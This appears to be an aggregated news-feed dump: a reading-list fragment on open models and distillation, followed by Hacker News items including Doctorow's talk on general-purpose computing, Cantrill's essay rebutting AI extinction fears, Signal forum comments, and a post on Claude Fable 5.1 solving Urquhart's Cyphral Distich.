    • [ Optional ] Fully open language model technical reports to illustrate the start of the art in understanding: Pythia (EleutherAI, 2023), Olmo (2024), Olmo 2 (2024), Olmo 3 (2025)

  • Chinese open-source history leading up to AI — Chinese Open Source: A Definitive History , Kevin Xu (Mar. 2026).

  • Prominent uses of Chinese models by Western companies have prompted meaningful regulatory attention ( more discussion )

    • Lawmakers have probed the following companies over using Chinese models: DoorDash ( CNBC , Jul. 31 2026), Airbnb ( Bloomberg , Apr. 29 2026; Semafor , Apr. 29 2026), Anysphere / Cursor ( Bloomberg , Apr. 29 2026; Semafor , Apr. 29 2026), Apple ( Reuters , May 17 2025)

    • Other western companies have very publicly shifted the models they use from American, closed labs to Chinese open models to save costs. Examples include Perplexity prominently and rapidly adopted DeepSeek R1 ( Forbes , Jan. 28 2025) and Thomson Reuters building on Qwen to move off Claude ( Business Insider , Aug. 24 2026)

Leave a comment

What is distillation and how much does it help Chinese labs, how do open models impact frontier AI risks like cybersecurity, and how far are open models behind the closed frontier?

  • The open-closed model gap has reduced in recent years, and is now at roughly 4-6 months. The leading open models have all come from Chinese labs since ~2024.

  • Cyber, risks & open models (I plan to develop this further)

  • Distillation – the process of training on output tokens from another model – is the single most eventful debate around open models in 2026.

    • For basic background, see a textbook chapter on synthetic data & distillation generally, from Reinforcement Learning from Human Feedback (post-training textbook published in 2026)

    • How distillation helps the Chinese labs, but doesn’t take away from their innovation — How much does distillation really matter for Chinese LLMs? , Nathan Lambert / Interconnects (Feb. 2026)

    • A very transparent documentation of how Chinese company use Anthropic’s products and circumvent the terms of service or intended use. The report details at-scale usage of Anthropic’s products by banned parties, as a mix of technical distillation (mentioned via SFT data) and extensive routing of Claude into their products and services without telling users — Detecting and countering misuse of AI: September 2026 .

    • A recent paper that showed that the frontier labs had implementations in their APIs that made systematic extraction of reasoning traces (the crucial part of modern training) through clever tricks. Recent distillation paper, my writing on it — Stealing Reasoning Traces from Proprietary LLM APIs , Panfilov, Schmotz, Shumailov et. al 2026 (more on X ). Anthropic confirmed this technique was used by Chinese labs.

    • Why the political panic over distillation, claiming that distillation is the only reason Chinese models are close to the frontier, is not grounded in the evidence — The distillation panic , Nathan Lambert / Interconnects (May 2026)

    • How labs can use distillation to improve models in an era of scaling RL environments across agentic behaviors — How distillation is used today and what performance uplift it gives to open models , Nathan Lambert (Jul. 2026)

    • [ Optional ] More history: In 2024, I wrote Frontiers in synthetic data where the key points were that synthetic data, primarily in “distilling” models by training with SFT on outputs from a stronger model, was the dominant form of distillation. Frontier labs had been shifting the logit-based, knowledge distillation, confirmed earliest in Gemini and continuing to this day. In early 2025, there was substantial debate on if DeepSeek-R1 was distilled from OpenAI’s o1 model. There is no clear evidence suggesting that they did, and in Apr. of 2025 I wrote confidently that DeepSeek did not distill. At the time of R1, it is more possible than I gave it credit to that DeepSeek did distill some o1 traces to make it easier for them to train their R1 model – based on the above reasoning trace extraction methods. This does not take away from the innovation of it, but it’s worth being realistic and is a way that distillation could accelerate China closing the gap to American labs.

Apple's Dimensional Drawings

Hacker News
developer.apple.com
2026-09-13 20:11:21
Comments...
Original Article

Dimensional Drawings

Download dimensional drawings and technical specifications.

"Chilling" warning or overreaction? AI bioweapons report divides experts

Hacker News
www.science.org
2026-09-13 20:07:09
Comments...

The Coming War on General Computation (2011)

Hacker News
en.wikisource.org
2026-09-13 19:54:55
Comments...
Original Article


Introducer:

Anyway, I believe I've killed enough time ... so, ladies and gentlemen, a person who in this crowd needs absolutely no introduction, Cory Doctorow!

( Audience applauds. )

Doctorow:

((27.0)) Thank you.

((32.0)) So, when I speak in places where the first language of the nation is not English, there is a disclaimer and an apology, because I'm one of nature's fast talkers. When I was at the United Nations at the World Intellectual Property Organization , I was known as the "scourge" of the simultaneous translation corps; I would stand up and speak, and turn around, and there would be window after window of translator, and every one of them would be doing this ( Doctorow facepalms ). ( Audience laughs ) So in advance, I give you permission when I start talking quickly to do this ( Doctorow makes SOS motion ) and I will slow down.

((74.1)) So, tonight's talk -- wah, wah, waaah ( Doctorow makes 'fail horn' sound, apparently in response to audience making SOS motion; audience laughs ) -- tonight's talk is not a copyright talk. I do copyright talks all the time; questions about culture and creativity are interesting enough, but to be honest, I'm quite sick of them. If you want to hear freelance writers like me bang on about what's happening to the way we earn our living, by all means, go and find one of the many talks I've done on this subject on YouTube . But, tonight, I want to talk about something more important -- I want to talk about general purpose computers.

Because general purpose computers are, in fact, astounding -- so astounding that our society is still struggling to come to grips with them: to figure out what they're for, to figure out how to accommodate them, and how to cope with them. Which, unfortunately, brings me back to copyright.

((133.8)) Because the general shape of the copyright wars and the lessons they can teach us about the upcoming fights over the destiny of the general purpose computer are important. In the beginning, we had packaged software, and the attendant industry, and we had sneakernet. So, we had floppy disks in ziplock bags, or in cardboard boxes, hung on pegs in shops, and sold like candy bars and magazines. And they were eminently susceptible to duplication, and so they were duplicated quickly, and widely, and this was to the great chagrin of people who made and sold software.

((172.6)) Enter DRM 0.96. They started to introduce physical defects to the disks or started to insist on other physical indicia which the software could check for -- dongles, hidden sectors, challenge/response protocols that required that you had physical possession of large, unwieldy manuals that were difficult to copy, and of course these failed, for two reasons. First, they were commercially unpopular, of course, because they reduced the usefulness of the software to the legitimate purchasers, while leaving the people who took the software without paying for it untouched. The legitimate purchasers resented the non-functionality of their backups, they hated the loss of scarce ports to the authentication dongles , and they resented the inconvenience of having to transport large manuals when they wanted to run their software. And second, these didn't stop pirates, who found it trivial to patch the software and bypass authentication. Typically, the way that happened is some expert who had possession of technology and expertise of equivalent sophistication to the software vendor itself, would reverse engineer the software and release cracked versions that quickly became widely circulated. While this kind of expertise and technology sounded highly specialized, it really wasn't; figuring out what recalcitrant programs were doing, and routing around the defects in shitty floppy disk media were both core skills for computer programmers, and were even more so in the era of fragile floppy disks and the rough-and-ready early days of software development. Anti-copying strategies only became more fraught as networks spread; once we had BBSes , online services, USENET newsgroups, and mailing lists, the expertise of people who figured out how to defeat these authentication systems could be packaged up in software and passed around as little crack files, or, as the network capacity increased, the cracked disk images or executables themselves could be spread on their own.

((296.4)) Which gave us DRM 1.0. By 1996, it became clear to everyone in the halls of power that there was something important about to happen. We were about to have an information economy, whatever the hell that was. They assumed it meant an economy where we bought and sold information. Now, information technology makes things efficient, so imagine the markets that an information economy would have. You could buy a book for a day, you could sell the right to watch the movie for one Euro, and then you could rent out the pause button at one penny per second. You could sell movies for one price in one country, and another price in another, and so on, and so on; the fantasies of those days were a little like a boring science fiction adaptation of the Old Testament book of Numbers, a kind of tedious enumeration of every permutation of things people do with information and the ways we could charge them for it.

((355.5)) But none of this would be possible unless we could control how people use their computers and the files we transfer to them. After all, it was well and good to talk about selling someone the 24 hour right to a video, or the right to move music onto an iPod, but not the right to move music from the iPod onto another device, but how the Hell could you do that once you'd given them the file? In order to do that, to make this work, you needed to figure out how to stop computers from running certain programs and inspecting certain files and processes. For example, you could encrypt the file, and then require the user to run a program that only unlocked the file under certain circumstances.

((395.8)) But as they say on the Internet, "now you have two problems". You also, now, have to stop the user from saving the file while it's in the clear, and you have to stop the user from figuring out where the unlocking program stores its keys, because if the user finds the keys, she'll just decrypt the file and throw away that stupid player app.

((416.6)) And now you have three problems ( audience laughs ), because now you have to stop the users who figure out how to render the file in the clear from sharing it with other users, and now you've got four! problems, because now you have to stop the users who figure out how to extract secrets from unlocking programs from telling other users how to do it too, and now you've got five! problems, because now you have to stop users who figure out how to extract secrets from unlocking programs from telling other users what the secrets were!

((442.0)) That's a lot of problems. But by 1996, we had a solution. We had the WIPO Copyright Treaty , passed by the United Nations World Intellectual Property Organization, which created laws that made it illegal to extract secrets from unlocking programs, and it created laws that made it illegal to extract media cleartexts from the unlocking programs while they were running, and it created laws that made it illegal to tell people how to extract secrets from unlocking programs, and created laws that made it illegal to host copyrighted works and secrets and all with a handy streamlined process that lets you remove stuff from the internet without having to screw around with lawyers, and judges, and all that crap. And with that, illegal copying ended forever ( audience laughs very hard, applauds ), the information economy blossomed into a beautiful flower that brought prosperity to the whole wide world; as they say on the aircraft carriers, "Mission Accomplished" . ( audience laughs )

((511.0)) Well, of course that's not how the story ends because pretty much anyone who understood computers and networks understood that while these laws would create more problems than they could possibly solve; after all, these were laws that made it illegal to look inside your computer when it was running certain programs, they made it illegal to tell people what you found when you looked inside your computer, they made it easy to censor material on the internet without having to prove that anything wrong had happened; in short, they made unrealistic demands on reality and reality did not oblige them. After all, copying only got easier following the passage of these laws -- copying will only ever get easier! Here, 2011, this is as hard as copying will get! Your grandchildren will turn to you around the Christmas table and say "Tell me again, Grandpa, tell me again, Grandma, about when it was hard to copy things in 2011, when you couldn't get a drive the size of your fingernail that could hold every song ever recorded, every movie ever made, every word ever spoken, every picture ever taken, everything, and transfer it in such a short period of time you didn't even notice it was doing it, tell us again when it was so stupidly hard to copy things back in 2011". And so, reality asserted itself, and everyone had a good laugh over how funny our misconceptions were when we entered the 21st century, and then a lasting peace was reached with freedom and prosperity for all. ( audience chuckles )

((593.5)) Well, not really. Because, like the nursery rhyme lady who swallows a spider to catch a fly , and then has to swallow a bird to catch the spider, and a cat to catch the bird, and so on, so must a regulation that has broad general appeal but is disastrous in its implementation beget a new regulation aimed at shoring up the failure of the old one. Now, it's tempting to stop the story here and conclude that the problem is that lawmakers are either clueless or evil, or possibly evilly clueless, and just leave it there, which is not a very satisfying place to go, because it's fundamentally a counsel of despair; it suggests that our problems cannot be solved for so long as stupidity and evilness are present in the halls of power, which is to say they will never be solved. But I have another theory about what's happened.

((644.4)) It's not that regulators don't understand information technology, because it should be possible to be a non-expert and still make a good law! M.P.s and Congressmen and so on are elected to represent districts and people, not disciplines and issues. We don't have a Member of Parliament for biochemistry, and we don't have a Senator from the great state of urban planning, and we don't have an M.E.P. from child welfare. (But perhaps we should.) And yet those people who are experts in policy and politics, not technical disciplines, nevertheless, often do manage to pass good rules that make sense, and that's because government relies on heuristics -- rules of thumb about how to balance expert input from different sides of an issue.

((686.3)) But information technology confounds these heuristics -- it kicks the crap out of them -- in one important way, and this is it. One important test of whether or not a regulation is fit for purpose is first, of course, whether it will work, but second of all, whether or not in the course of doing its work, it will have lots of effects on everything else. If I wanted Congress to write, or Parliament to write, or the E.U. to regulate a wheel, it's unlikely I'd succeed. If I turned up and said "well, everyone knows that wheels are good and right, but have you noticed that every single bank robber has four wheels on his car when he drives away from the bank robbery? Can't we do something about this?", the answer would of course be "no". Because we don't know how to make a wheel that is still generally useful for legitimate wheel applications but useless to bad guys. And we can all see that the general benefits of wheels are so profound that we'd be foolish to risk them in a foolish errand to stop bank robberies by changing wheels. Even if there were an /epidemic/ of bank robberies, even if society were on the verge of collapse thanks to bank robberies, no-one would think that wheels were the right place to start solving our problems.

((762.0)) But. If I were to show up in that same body to say that I had absolute proof that hands-free phones were making cars dangerous, and I said, "I would like you to pass a law that says it's illegal to put a hands-free phone in a car", the regulator might say "Yeah, I'd take your point, we'd do that". And we might disagree about whether or not this is a good idea, or whether or not my evidence made sense, but very few of us would say "well, once you take the hands-free phones out of the car, they stop being cars". We understand that we can keep cars cars even if we remove features from them. Cars are special purpose, at least in comparison to wheels, and all that the addition of a hands-free phone does is add one more feature to an already-specialized technology. In fact, there's that heuristic that we can apply here -- special-purpose technologies are complex. And you can remove features from them without doing fundamental disfiguring violence to their underlying utility.

((816.5)) This rule of thumb serves regulators well, by and large, but it is rendered null and void by the general-purpose computer and the general-purpose network -- the PC and the Internet. Because if you think of computer software as a feature, that is a computer with spreadsheets running on it has a spreadsheet feature, and one that's running World of Warcraft has an MMORPG feature, then this heuristic leads you to think that you could reasonably say, "make me a computer that doesn't run spreadsheets", and that it would be no more of an attack on computing than "make me a car without a hands-free phone" is an attack on cars. And if you think of protocols and sites as features of the network, then saying "fix the Internet so that it doesn't run BitTorrent ", or "fix the Internet so that thepiratebay .org no longer resolves", then it sounds a lot like "change the sound of busy signals", or "take that pizzeria on the corner off the phone network", and not like an attack on the fundamental principles of internetworking.

((870.5)) Not realizing that this rule of thumb that works for cars and for houses and for every other substantial area of technological regulation fails for the Internet does not make you evil and it does not make you an ignoramus. It just makes you part of that vast majority of the world for whom ideas like " Turing complete " and " end-to-end " are meaningless. So, our regulators go off, and they blithely pass these laws, and they become part of the reality of our technological world. There are suddenly numbers that we aren't allowed to write down on the Internet, programs we're not allowed to publish, and all it takes to make legitimate material disappear from the Internet is to say "that? That infringes copyright.". It fails to attain the actual goal of the regulation; it doesn't stop people from violating copyright, but it bears a kind of superficial resemblance to copyright enforcement -- it satisfies the security syllogism : "something must be done, I am doing something, something has been done." And thus any failures that arise can be blamed on the idea that the regulation doesn't go far enough, rather than the idea that it was flawed from the outset.

((931.2)) This kind of superficial resemblance and underlying divergence happens in other engineering contexts. I've a friend who was once a senior executive at a big consumer packaged goods company who told me about what happened when the marketing department told the engineers that they'd thought up a great idea for detergent: from now on, they were going to make detergent that made your clothes newer every time you washed them! Well after the engineers had tried unsuccessfully to convey the concept of " entropy " to the marketing department ( audience laughs ), they arrived at another solution -- "solution" -- they developed a detergent that used enzymes that attacked loose fiber ends, the kind that you get with broken fibers that make your clothes look old. So every time you washed your clothes in the detergent, they would look newer. But that was because the detergent was literally digesting your clothes! Using it would literally cause your clothes to dissolve in the washing machine! This was the opposite of making clothes newer; instead, you were artificially aging your clothes every time you washed them, and as the user, the more you deployed the "solution", the more drastic your measures had to be to keep your clothes up to date -- you actually had to go buy new clothes because the old ones fell apart.

((1012.5)) So today we have marketing departments who say things like "we don't need computers, we need... appliances . Make me a computer that doesn't run every program, just a program that does this specialized task, like streaming audio, or routing packets, or playing Xbox games, and make sure it doesn't run programs that I haven't authorized that might undermine our profits". And on the surface, this seems like a reasonable idea -- just a program that does one specialized task -- after all, we can put an electric motor in a blender, and we can install a motor in a dishwasher, and we don't worry if it's still possible to run a dishwashing program in a blender. But that's not what we do when we turn a computer into an appliance. We're not making a computer that runs only the "appliance" app; we're making a computer that can run every program, but which uses some combination of rootkits , spyware , and code-signing to prevent the user from knowing which processes are running, from installing her own software, and from terminating processes that she doesn't want. In other words, an appliance is not a stripped-down computer -- it is a fully functional computer with spyware on it out of the box.

( audience applauds loudly ) Thanks.

((1090.5)) Because we don't know how to build the general purpose computer that is capable of running any program we can compile except for some program that we don't like, or that we prohibit by law, or that loses us money. The closest approximation that we have to this is a computer with spyware -- a computer on which remote parties set policies without the computer user's knowledge, over the objection of the computer's owner. And so it is that digital rights management always converges on malware.

((1118.9)) There was, of course, this famous incident, a kind of gift to people who have this hypothesis, in which Sony loaded covert rootkit installers on 6 million audio CDs , which secretly executed programs that watched for attempts to read the sound files on CDs, and terminated them, and which also hid the rootkit's existence by causing the kernel to lie about which processes were running, and which files were present on the drive. But it's not the only example; just recently, Nintendo shipped the 3DS , which opportunistically updates its firmware , and does an integrity check to make sure that you haven't altered the old firmware in any way, and if it detects signs of tampering, it bricks itself.

((1158.8)) Human rights activists have raised alarms over U-EFI , the new PC bootloader , which restricts your computer so it runs signed operating systems, noting that repressive governments will likely withhold signatures from OSes unless they have covert surveillance operations.

((1175.5)) And on the network side, attempts to make a network that can't be used for copyright infringement always converges with the surveillance and control measures that we know from repressive governments. So, SOPA , the U.S. Stop Online Piracy Act, bans tools like DNSSEC because they can be used to defeat DNS blocking measures. And it blocks tools like Tor , because they can be used to circumvent IP blocking measures. In fact, the proponents of SOPA, the Motion Picture Association of America , circulated a memo [ 1 ] , citing research that SOPA would probably work, because it uses the same measures as are used in Syria, China, and Uzbekistan, and they argued that these measures are effective in those countries, and so they would work in America, too!

( audience laughs and applauds ) Don't applaud me, applaud the MPAA!

((1221.5)) Now, it may seem like SOPA is the end game in a long fight over copyright, and the internet, and it may seem like if we defeat SOPA, we'll be well on our way to securing the freedom of PCs and networks. But as I said at the beginning of this talk, this isn't about copyright, because the copyright wars are just the 0.9 beta version of the long coming war on computation. The entertainment industry were just the first belligerents in this coming century-long conflict. We tend to think of them as particularly successful -- after all, here is SOPA, trembling on the verge of passage, and breaking the internet on this fundamental level in the name of preserving Top 40 music, reality TV shows, and Ashton Kutcher movies! ( laughs, scattered applause )

((1270.2)) But the reality is, copyright legislation gets as far as it does precisely because it's not taken seriously, which is why on the one hand, Canada has had Parliament after Parliament introduce one stupid copyright bill after another, but on the other hand, Parliament after Parliament has failed to actually vote on the bill. It's why we got SOPA, a bill composed of pure stupid, pieced together molecule-by-molecule, into a kind of "Stupidite 250", which is normally only found in the heart of a newborn star, and it's why these rushed-through SOPA hearings had to be adjourned midway through the Christmas break, so that lawmakers could get into a real vicious nationally-infamous debate over an important issue, unemployment insurance. It's why the World Intellectual Property Organization is gulled time and again into enacting crazed, pig-ignorant copyright proposals because when the nations of the world send their U.N. missions to Geneva, they send water experts, not copyright experts; they send health experts, not copyright experts; they send agriculture experts, not copyright experts, because copyright is just not important to pretty much everyone! ( applause )

((1350.3)) Canada's Parliament didn't vote on its copyright bills because, of all the things that Canada needs to do, fixing copyright ranks well below resolving health emergencies on first nations reservations, exploiting the oil patch in Alberta, interceding in sectarian resentments among French- and English-speakers, solving resource crises in the nation's fisheries, and a thousand other issues! The triviality of copyright tells you that when other sectors of the economy start to evince concerns about the internet and the PC, that copyright will be revealed for a minor skirmish, and not a war. Why would other sectors nurse grudges against computers? Well, because the world we live in today is made of computers. We don't have cars anymore, we have computers we ride in; we don't have airplanes anymore, we have flying Solaris boxes with a big bucketful of SCADA controllers ( laughter ); a 3D printer is not a device, it's a peripheral, and it only works connected to a computer; a radio is no longer a crystal, it's a general-purpose computer with a fast ADC and a fast DAC and some software.

((1418.9)) The grievances that arose from unauthorized copying are trivial, when compared to the calls for action that our new computer-embroidered reality will create. Think of radio for a minute. The entire basis for radio regulation up until today was based on the idea that the properties of a radio are fixed at the time of manufacture, and can't be easily altered. You can't just flip a switch on your baby monitor, and turn it into something that interferes with air traffic control signals. But powerful software-defined radios can change from baby monitor to emergency services dispatcher to air traffic controller just by loading and executing different software, which is why the first time the American telecoms regulator (the FCC ) considered what would happen when we put SDRs in the field, they asked for comment on whether it should mandate that all software-defined radios should be embedded in trusted computing machines. Ultimately, whether every PC should be locked, so that the programs they run are strictly regulated by central authorities.

((1477.9)) And even this is a shadow of what is to come. After all, this was the year in which we saw the debut of open sourced shape files for converting AR-15s to full automatic. This was the year of crowd-funded open-sourced hardware for gene sequencing. And while 3D printing will give rise to plenty of trivial complaints, there will be judges in the American South and Mullahs in Iran who will lose their minds over people in their jurisdiction printing out sex toys. ( guffaw from audience ) The trajectory of 3D printing will most certainly raise real grievances, from solid state meth labs, to ceramic knives.

((1516.0)) And it doesn't take a science fiction writer to understand why regulators might be nervous about the user-modifiable firmware on self-driving cars, or limiting interoperability for aviation controllers, or the kind of thing you could do with bio-scale assemblers and sequencers. Imagine what will happen the day that Monsanto determines that it's really... really... important to make sure that computers can't execute programs that cause specialized peripherals to output organisms that eat their lunch... literally. Regardless of whether you think these are real problems or merely hysterical fears, they are nevertheless the province of lobbies and interest groups that are far more influential than Hollywood and big content are on their best days, and every one of them will arrive at the same place -- "can't you just make us a general purpose computer that runs all the programs, except the ones that scare and anger us? Can't you just make us an Internet that transmits any message over any protocol between any two points, unless it upsets us?"

((1576.3)) And personally, I can see that there will be programs that run on general purpose computers and peripherals that will even freak me out. So I can believe that people who advocate for limiting general purpose computers will find receptive audience for their positions. But just as we saw with the copyright wars, banning certain instructions, or protocols, or messages, will be wholly ineffective as a means of prevention and remedy; and as we saw in the copyright wars, all attempts at controlling PCs will converge on rootkits; all attempts at controlling the Internet will converge on surveillance and censorship, which is why all this stuff matters. Because we've spent the last 10+ years as a body sending our best players out to fight what we thought was the final boss at the end of the game, but it turns out it's just been the mini-boss at the end of the level, and the stakes are only going to get higher.

((1627.8)) As a member of the Walkman generation, I have made peace with the fact that I will require a hearing aid long before I die, and of course, it won't be a hearing aid, it will be a computer I put in my body. So when I get into a car -- a computer I put my body into -- with my hearing aid -- a computer I put inside my body -- I want to know that these technologies are not designed to keep secrets from me, and to prevent me from terminating processes on them that work against my interests. ( vigorous applause from audience ) Thank you.

((1669.4)) Thank you. So, last year, the Lower Merion School District , in a middle-class, affluent suburb of Philadelphia found itself in a great deal of trouble, because it was caught distributing PCs to its students, equipped with rootkits that allowed for remote covert surveillance through the computer's camera and network connection . It transpired that they had been photographing students thousands of times, at home and at school, awake and asleep, dressed and naked. Meanwhile, the latest generation of lawful intercept technology can covertly operate cameras, mics, and GPSes on PCs, tablets, and mobile devices.

((1705.0)) Freedom in the future will require us to have the capacity to monitor our devices and set meaningful policy on them, to examine and terminate the processes that run on them, to maintain them as honest servants to our will, and not as traitors and spies working for criminals, thugs, and control freaks. And we haven't lost yet, but we have to win the copyright wars to keep the Internet and the PC free and open. Because these are the materiel in the wars that are to come, we won't be able to fight on without them. And I know this sounds like a counsel of despair, but as I said, these are early days. We have been fighting the mini-boss, and that means that great challenges are yet to come, but like all good level designers , fate has sent us a soft target to train ourselves on -- we have a chance, a real chance, and if we support open and free systems, and the organizations that fight for them -- EFF , Bits of Freedom , EDRI , ORG , CC , Netzpolitik , La Quadrature du Net , and all the others, who are thankfully, too numerous to name here -- we may yet win the battle, and secure the ammunition we'll need for the war.

((1778.9)) Thank you.

( sustained applause )

  1. Jillian C. York (December 19, 2011). "This Week in Internet Censorship: DRC, Kazakhstan, and pro-SOPA 'research ' " .

Due to concerns about malicious applications, GPT2 will not be released (2019)

Hacker News
openai.com
2026-09-13 19:11:17
Comments...

The Contagion of Fear

Hacker News
bcantrill.dtrace.org
2026-09-13 18:38:18
Comments...
Original Article

I have a difficult confession to make — a shameful incident that I have never spoken of, even to those closest to me.

Late one night in my first year at university and having found computer science to be my life’s calling, I was in the back of the large computer science lab, talking with some fellow underclassmen. We were snidely decrying the lack of technological understanding in the broader population, with the kind of arrogance and hubris that youth and precociousness can uniquely summon. Somewhere in this discussion, a terrible idea was hatched: what if we went next door to the general computer lab, and told the humanities students there that a computer virus was spreading through their machines? Would they believe it?

To my everlasting regret, we acted on this ugly urge: we went next door to a packed lab of students working on term papers, and — with synthetic alarm in our voices — loudly announced that a virus had escaped the computer science lab, and that they all needed to eject their floppy disks to prevent its spread.

What happened next was bedlam — the technological equivalent of shouting fire in a crowded theater. People panicked: they not only ejected floppies, but they powered machines off; yanked cables out of already-powered off machines; screamed; ran out of the room. We immediately realized that we had done something awful, but found that we couldn’t contain the wildfire that we had lit. We tried to explain that it was "a prank"; some (rightfully!) responded with indignant fury (what was wrong with us that we would do such a thing?!) while others simply didn’t believe us: once the fear had taken root, we couldn’t eradicate it.

The aftermath is a blur — but it was bad. It was the week leading up to finals, and people who had powered their computers off had lost work. They were furious, and we were in a ton of trouble.

The next morning, we found ourselves in the office of the facilities director (a famously imposing presence), who lectured us sternly as we stared at our feet. He made us each write letters of apology (easily done as my shame was earnest), telling us to give him two copies: one to be sent to those whom we had wronged, the other to be kept in his drawer. He told us in no uncertain terms that if we ever found ourselves anything close to anything like this again, we would be finding another university to attend — and we assured him that we had learned our lesson. (When I graduated four years later, he made a point of handing the letter back to me — and I remain grateful for the gravity and empathy with which he handled the whole thing.)

I could have (and perhaps would have?) taken this whole shameful incident to the grave, but I feel compelled to confess it now, because I have never seen fear sown so irresponsibly by putative technologists as I have now with respect to AI and the threat of human extinction (!). Amazingly, that is not hyperbole: this week, ex-Anthropic employee Jacob Coxon claimed — and then Anthropic Alignment Science lead Evan Hubinger agreed — that the probability that AI will "kill all humans" is ">10% in the next decade" (!!).

That is, the claim is not merely that AI could kill thousands, millions, or even billions of humans (claims that themselves would be extraordinary!), but that there is a greater than ten percent chance that AI will kill all humans . That is, if you have a newborn, their claim is that there is a greater than ten percent chance that your child will somehow perish at the hands of AI before they enter middle school.

These ghoulish claims strike brazenly at the hearth, and given the obvious importance of AI, it is unsurprising that they have leapt into the mainstream, with people asking the natural question: how would that happen? The answers always rely on hand-wavy extrapolation into the future; for example, Jacob Coxon cites "hacking critical infrastructure" and "extinction-level bioweapons" without further elaboration. But Coxon is not an expert on critical infrastructure, nor on bioweapons — nor, for that matter, on extinction.

What 27-year-old Coxon is an expert on — if accidentally — is the contagion of fear. We cannot expect the public to understand the inner workings of all technology (that was the fallacy of my 18-year-old self!): technology is too broad, too deep, and too core to all of our lives to expect everyone to understand everything; we must — at some level — trust domain experts. When those domain experts sow fear, it is the fear that takes root, propagating much more readily than any evidence that may follow it. (As Jonathan Swift famously quipped over three centuries ago, "Falsehood flies, and the truth comes limping after it".) In this regard, Coxon is more vector than index case: it is indisputable that the fears of extinction risk are widespread and Coxon himself likely has these fears because he has heard them from someone else. Unfortunately, as the fear takes hold, the sheer number of frightened experts becomes its own kind of evidence, with contrary voices drowned out by the din of an apparent consensus.

With the full knowledge that the fear is becoming well established, I would nonetheless like to offer a rebuttal, if from my own (narrow) domain of expertise: building computers . As I reflected in my 2023 Monktoberfest talk, Intelligence is not Enough , acts of engineering are not acts of intelligence alone . They require not only the human aspects of our character, they also require our action in (and reasoning about) the physical world. Those who are resolute in their fear like to gloss over these bits ("robots will do this!"), but to do so is to ignore the physical reality that robots cannot do this today — and do not seem to be doing so on a time horizon consistent with these extinction fears.

More generally, to the degree that digital systems have agency in the physical world, it is agency that we — we humans with arms and legs and brains and parents and children — permit: AI executes on physical systems that have been engineered with human accountability and control. Intelligence does not exempt a system from the realities of the physical world!

To those who — like Coxon — are gripped with unwavering fear, this will be of little solace. But to those who are hearing these fears for the first time: know that your incredulity is warranted. We should heed the wisdom of the late Carl Sagan that extraordinary claims require extraordinary evidence : the claims from Coxon and his ilk are the most extraordinary a technologist can make, and we must demand evidence commensurate with the claims.

That said, we should not expect the public to understand LLMs, critical infrastructure, bioweapons, extinction biology, etc. — that burden must lie with those making the claim. The lesson that I learned (shamefully) decades ago is that domain experts, by way of their expertise, implicitly hold the public’s trust — and we must not abuse it. It is incumbent upon us to be circumspect in our claims — and maximally so when raising the alarm.

So to those in that late-night lab over three decades ago, I’m sorry: you had nothing to fear then — and (at least with respect to extinction risk!) you have nothing to fear now.

Registration without a phone number on Signal will use zero-knowledge proofs

Hacker News
community.signalusers.org
2026-09-13 17:47:04
Comments...
Original Article

200

you have legitimate concerns, but you’re very wrong about this. zero-knowledge proofs are not only the technology behind donation badges and backup payments, but also behind groups. they can’t tie you to a specific donation just like they can’t tie you to a specific group.

the great thing about Signal is the client is designed to already not trust the server. in fact you can show that Signal is perfectly safe without even looking at server code .

201

202

ZKP is also used for verifying things like username character set and length without actually revealing contents which is super cool and comprises of math waaaayyyyy above my head.

203

I was wondering what ZKP was :sweat_smile:

Also adjacent. The “save as pdf” is quite interesting. :)

206

207

For those who are already registered with their phone number and would like to “unlink” it without re-registering for the service… is that possible?

208

if this feature happens, signal org should clarify some technical details regarding privacy.

is phone number totally unlinked from username?

what remnants remains, locally in a device? in a server?

my guess is that unlinking is not 100% unlinked. which is leads to a second point. should new account without phone number be better idea. unlinking phone number may not be best option.

although unlinking phone number could be free of charge.

209

I don’t think anything points to this yet.

That seems unlikely, because spammers could just get one number, register with that, unlink, repeat, to get infinitely many accounts for free. Unless they add a cooldown or something…

210

cooldown is reasonably in this case. but even with one month cooldown, it may not be enough to prevent spammers and scammers. it cannot be long either.

cooldown alone may not be enough.

211

212

Why is privacy so hard?

Hacker News
cacm.acm.org
2026-09-13 17:13:43
Comments...
Original Article

Why have I been blocked?

This website is using a security service to protect itself from online attacks. The action you just performed triggered the security solution. There are several actions that could trigger this block including submitting a certain word or phrase, a SQL command or malformed data.

What can I do to resolve this?

You can email the site owner to let them know you were blocked. Please include what you were doing when this page came up and the Cloudflare Ray ID found at the bottom of this page.

Ask HN: In The Matrix, the bad guys are the 'agents'. Coincidence? Clairvoyance?

Hacker News
news.ycombinator.com
2026-09-13 17:13:13
Comments...
Original Article

Dr. Walter Gibbs: [laughs] You've got to expect some static. After all, computers are just machines; they can't think.

Alan Bradley: Some programs will be thinking soon.

Gibbs: Won't that be grand? Computers and the programs will start thinking, and the people will stop!

Claude Fable 5.1 Solves the Cyphral Distich, a 370-year-old cipher

Hacker News
www.vals.ai
2026-09-13 17:06:13
Comments...
Original Article

Problem

We gave Claude Fable 5.1 an open task: solve Sir Thomas Urquhart’s Cyphral Distich. It appears to have actually solved it, and the solution is quite embarrassing for humans in hindsight.

At the end of Urquhart’s Logopandecteision is a cryptogram consisting of two lines of 32 numbers each, called the Cyphral Distich . A cryptogram is a short message deliberately encoded so it can’t be read without knowing the rule that produced it. Here the entire puzzle input is these 64 numbers, and the goal is to recover the hidden plaintext:

5.3.27.38.32.14.21.8.66.8.70.39.5.9.12.18.2.3.56.5.1.7.3.2.13.19.3.25.9.3.16.6.
25.15.13.6.11.20.5.1.2.12.1.20.20.49.20.20.35.33.4.6.8.35.5.33.5.5.18.10.3.11.32.42.

This cipher has remained seemingly unsolved for centuries. It was posed as an open problem in Notes and Queries in 1899, appeared again in 20th-century cryptography literature, and was later listed by historical-cipher researcher Klaus Schmeh among his Top 50 unsolved encrypted messages.

Various people attempted to decipher it, but it seems they were missing one crucial hint. They tried methods like frequency analysis, substitution, and homophonic substitution, and none of these approaches worked.

That’s because they missed one easy clue.

Solution

After 44 minutes, 176k tokens, and zero interjections from me, Fable 5.1 arrived at a solution. It tried a few approaches, but was finally able to solve it with two central realizations.

First: the cryptogram is printed immediately after Urquhart’s 32 Proquiritations , and Urquhart even goes out of his way to emphasize that number. I know, surprising. He says:

“there can no number like that of two and thirty … be pitched upon”

Second: the poem accompanying the cipher promises that an honest reader will find in it “his own heart’s wishes, and the Author’s minde.” The Proquiritations themselves repeatedly conclude with formulations like “is the desire,” “wish,” or “hope of.”

If you put these clues together:

32 Proquiritations. 32 numbers in the first cipher line. 32 numbers in the second. “Wishes.”

